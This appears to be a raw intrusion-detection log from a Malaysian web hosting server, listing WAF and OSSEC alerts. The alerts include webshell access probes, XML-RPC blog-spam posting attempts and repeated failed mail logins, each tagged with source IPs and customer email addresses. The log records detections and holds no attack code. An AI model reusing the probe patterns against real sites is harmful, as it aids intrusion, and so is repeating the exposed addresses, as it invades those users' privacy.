abuser: 14.188.76.74
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=1&sub=37 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.169.52.42
country_id: 3865483
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/hotel.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.237.59.67
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=1&page_id=2 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 12:24:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57434: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.26.177.54
country_id: 3437598
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/resources/views/admin/employees/create.blade.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.238.40.103
country_id: 2635167
description:
2026-01-27 12:25:03 dovecot_plain authenticator failed for H=(o5p8rhj1oq5tx8nco3) [104.238.40.103]:20174: 535 Incorrect authentication data (set_id=chew@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.226.29.198
country_id: 3865483
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/award-she.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.143.92.81
country_id: 2510769
description:
Jan 27 12:27:16 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.143.92.81 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.71.60
country_id: 3865483
description:
Jan 27 12:27:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.71.60 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.43.111.205
country_id: 1269750
description:
2026-01-27 12:33:35 dovecot_plain authenticator failed for H=(rj7wn2l9dlro813kgpzj6h09q530b8b) [49.43.111.205]:51653: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.53.167
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:48104.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7a82ae18c01f8e1b75762140bdcc0e4f094e01b7||Title:0x9f6a05c8||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.173.40.84
country_id: 1562822
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/new6.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.6.33.8
country_id: 3469034
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/front-page.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.59.14.191
country_id: 1269750
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/kitchen-supplier.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:38:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9112: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:40:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14644: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b7750fa8574b087f52a38808cb35c3ee93129e2b||Title:0x11aaec6f||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.68.178.219
country_id: 3175395
description:
Jan 27 12:42:56 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.68.178.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.80
country_id: 3469034
description:
Jan 27 12:43:18 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.80 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 47.205.198.59
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-43.47.205.198.59||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.68.178.219
country_id: 3175395
description:
Jan 27 12:43:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.68.178.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.109.161.239
country_id: 3469034
description:
Jan 27 12:44:15 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.109.161.239 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:15d4b94427c0a4e4ad1e75f3353ebc81ff125f8e||Title:0x981f7687||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 172.203.245.82
country_id: 6252001
description:
Jan 27 12:47:46 sv3 pure-ftpd[2315047]: (?@172.203.245.82) [INFO] New connection from 172.203.245.82


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.19.197.26
country_id: 1269750
domain: ajresorts.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:20082.ajresorts.com.my||ServerName:ajresorts.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e8395c1bc3f206ef12f772cc9617e8dfd43c6801||Title:0x116d435d||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4c9cecf8c23d56dc5ce194dbe2be757c1f715454||Title:0xe2afdf47||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bd102632a7ed03bc8f61036a7a370a9a69162adc||Title:0x2877434a||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:355f5ea8e63b4a754314c8c27f5f12bfd4879cb9||Title:0xf8049fbf||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 12:52:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57466: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0280f2db27024f7ff434cf399e61ec429c8ddc01||Title:0x38ad5ffd||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e2d70b239ce6a4c2e540760e19029667555c4ccc||Title:0x3046e603||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9eec876d026ee6abb90a370846ac3c8dd5b409f6||Title:0xa9a662ae||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c66e4d2f33339a54b90540e9e8db2eb5042ca5d5||Title:0x364fb4b4||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:961c88dfb1d8957ece9ae2871ce3f28b18030888||Title:0xf80a99ef||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2d9df05228a0ec1fcc1d8ef7a5d69a1f703bbf96||Title:0x0815bdb8||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0fc6b9cf352244ec883f0b7b26bdaebb2bb6783c||Title:0x0ed126c5||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1ab8574224f10965ab5897031bff04994687a529||Title:0xd24e1359||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:23357fd633b3a8ecb7ca827edce415bf48cac868||Title:0xf589d66c||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 60.54.167.90
country_id: 1733045
description:
2026-01-27 13:02:52 H=([10.1.1.176]) [60.54.167.90]:49647 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<jasonkua@printspecsolution.com> A=dovecot_login:jasonkua@printspecsolution.com rejected RCPT <era@printspecsolution.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d47beabca5fc3793c35358168523acfdde11e986||Title:0xef33fbf7||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 115.68.0.23
country_id: 1835841
description:
2026-01-27 13:03:01 H=(localhost.localdomain) [115.68.0.23]:19125 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<service@civicmdsg.com.ph> rejected RCPT <info@oxbold.com>: SPF: 115.68.0.23 is not allowed to send mail from civicmdsg.com.ph


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:agsaintifik.com.my.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8bb229fa1402877b22ac33411bd43dbf7e0873a3||Title:0xac516691||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:agsaintifik.com.my.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b72eab72a39c4d359cb828b6af3e0da5eb8eb7ec||Title:0xd1a00881||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:agsaintifik.com.my.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:708fc430ffe2342e79ec5ee9dd8ce5885b7c70f8||Title:0x7ad4a053||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:agsaintifik.com.my.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ecba24352f32f2da1fcfd622ac7d9f19c61e4f10||Title:0xf923ffc6||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 13:07:53 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.149.219
country_id: 1733045
description:
Jan 27 13:08:17 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.149.219 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.149.219
country_id: 1733045
description:
2026-01-27 13:08:19 dovecot_login authenticator failed for H=([49.124.149.219]) [49.124.149.219]:59792: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 13:08:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9675: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:agsaintifik.com.my.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:316a17687b5c4fb933df45d6bdc07008aff2a5e6||Title:0x09ed4e1e||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:agsaintifik.com.my.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4253a9856bd37bac14e100ba8fa01dc75a191f84||Title:0x47accfc1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.242.102.69
country_id: 6252001
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/Multi H.D/Multi Purpose  H.D-1 r1-250x250.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.242.102.69
country_id: 6252001
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/image/cache/catalog/Image/Products/Multi H.D/Multi Purpose  H.D-1 r1-250x250.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:agsaintifik.com.my.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:da65fe96e1676d4a9a0438e3a5aded2a9e085cac||Title:0x5a4fb9f7||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 13:10:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14649: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.184.84.118
country_id: 1269750
description:
2026-01-27 13:10:26 dovecot_plain authenticator failed for H=(GXA8DC) [59.184.84.118]:64053: 535 Incorrect authentication data (set_id=jason.ruban@cofreth.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 13:11:35 H=([104.37.174.67]) [104.37.174.67]:65263 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <alvin@nexuscollection.com>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.205.113.1
country_id: 99237
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/img/photos/5367758298.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.212.49.123
country_id: 192950
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/img/photos/4029781439.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 173.25.186.130
country_id: 6252001
description:
Jan 27 13:12:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 173.25.186.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.25.186.130
country_id: 6252001
description:
2026-01-27 13:12:08 dovecot_login authenticator failed for H=(173-25-186-130.client.mchsi.com) [173.25.186.130]:63726: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 188.130.142.179
country_id: 2017370
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-12.188.130.142.179||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.172.6
country_id: 1733045
description:
[2026-01-27 13:13:25 +0800] info [webmaild] 175.139.172.6 - peng@pftfood.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.116.248.205
country_id: 3865483
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=994821 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.75.78.225
country_id: 798544
description:
Jan 27 13:13:26 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.75.78.225 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.6.200.52
country_id: 3469034
description:
Jan 27 13:13:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.6.200.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.6.200.52
country_id: 3469034
description:
Jan 27 13:14:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.6.200.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.245.6.31
country_id: 1880251
description:
Jan 27 13:18:35 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.245.6.31 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.245.6.31
country_id: 1880251
description:
2026-01-27 13:18:37 dovecot_login authenticator failed for H=(31.6.245.49.unknown.m1.com.sg) [49.245.6.31]:39198: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 13:20:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57507: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 203.55.131.5
country_id: 6252001
description:
2026-01-27 13:20:08 814380 [Warning] Aborted connection 814380 to db: 'unconnected' user: 'unauthenticated' host: '203.55.131.5' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.30.83.186
country_id: 1269750
description:
Jan 27 13:21:37 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.30.83.186 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.151.165.247
country_id: 3865483
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=12911528706670 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.165.245.98
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=66031514882640 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.86.181.142
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=80521523525867 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.175.246.131
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=83971515464163 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.157.247.247
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=96 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.20.168.108
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=96651515046321 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 194.9.14.132
country_id: 690791
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=25261515046843 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.19.18.175
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=76&page=2 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.167.229
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=44981514942908 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.33.58
country_id: 953987
description:
Jan 27 13:23:15 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.33.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
